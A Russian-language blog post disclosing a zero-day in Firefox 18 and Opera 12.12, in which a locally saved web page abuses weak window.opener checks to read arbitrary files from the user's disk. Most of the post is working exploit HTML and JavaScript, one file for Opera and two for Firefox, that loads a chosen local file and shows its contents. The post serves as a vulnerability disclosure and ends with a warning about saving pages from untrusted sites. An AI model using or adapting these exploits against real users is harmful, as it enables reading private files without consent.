Уязвимость нулевого дня в FireFox 18 и Opera 12.12

в 13:30, , рубрики: 0day, exploit, firefox 18, Opera 12, браузеры, интернет, информационная безопасность, метки: , , , ,

Продолжив копать и обыгрывать проблему безопасности с window.opener, наткнулся на довольно забавную уязвимость в браузерах FireFox и Opera.
Уязвимость позволяет странице, сохраненной на вашем компьютере, читать произвольные файлы на вашей системе.

Уязвимость существует из-за недостаточного контроля за сменой window.opener.
Атакующий может встроить в страницу произвольный HTML код и при запуске данной страницы на локальной системе, появляется возможность прочитать содержимое почти любого файла (Разумеется, при наличии привилегий).

Opera

Т.к уязвимость довольно простая, то сразу публикую exploit. С проблемой window.opener, можно познакомиться тут.

<html>
<body>
<script>
if((navigator.userAgent.indexOf("Opera") != -1) && (window.location.protocol == "file:")) {
 //запуск кода только в браузере Opera и при вызове страницы через протокол file
 var file=prompt("Example: C:/file.txt "); //Какой файл хотим прочитать? 
 if(file){
 console.log("File: "+file);
 document.write("<center>"+
 "<a href='data:text/html,"+ //создадим ссылку, использующую протокол data 
 "<script>"+
 "if(window.opener){"+ //ТОЛЬКО если window.opener инициализирован
 "window.opener.location.replace(%22file://"+window.location.hostname+"/"+file+"%22);"+ //меняем адрес родительской вкладки на путь к файлу 
 "};%3C%2Fscript%3E"+
 "%3Cscript%3E"+ // Используя второй тег script, обойдем систему безопасности
 "alert(window.opener.document.body.innerHTML);"+ //Вывод содержимого файла :)
 "%3C%2Fscript%3E"+
 "' target='_blank'>"+ //target= _blank
"CLICK-CLICK</a>");
}}
</script>
</body>
</html>

Видео, демонстрирующее данную уязвимость:

FireFox

Уязвимость в этом браузере аналогичная, но тут ее сложнее эксплуатировать.

Для полного доступа к данным, код нужно поместить в корень диска.
На nix’ах не тестировал и следовательно, о поведении кода в nix’ах, говорить не могу.
Тут код состоит из двух файлов, для обхода ограничений в браузере.

Файл первый (Fir.html):

<html>
<body>
<script>
 if((navigator.userAgent.indexOf("Firefox") != -1) && (window.location.protocol == "file:")){
 //запуск кода только в браузере Firefox и при вызове страницы через протокол file
  document.write("<center>"+
 "<a href='./payload.html'"+ //вызываем payload.html
 " target='_blank'>CLICK-CLICK</a>"); //target=_blank
};
 </script>
</body>
</html>

Файл второй (payload.html):

<html>
<body>
<script>
var file=prompt('Example: C:/file.txt');
console.log(file);
window.opener.location="file://localhost/"+file;
</script>
<script>
var al=function(){alert(window.opener.document.body.innerHTML)}; //Выводим файл
while(!window.opener.document.body){ //window.opener.document.body=null
alert('Click OK'); //задержка
al(); //Вызов функции
};
</script>
</body>
</html>

Видео:

Злоключение

То что exploit может сработать только находясь на целевой системе, не делает данную уязвимость критической.
Однако тех, кто любит сохранять странички на своем компьютере, я прошу внимательней выбирать ресурсы :)

Автор: fil9

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js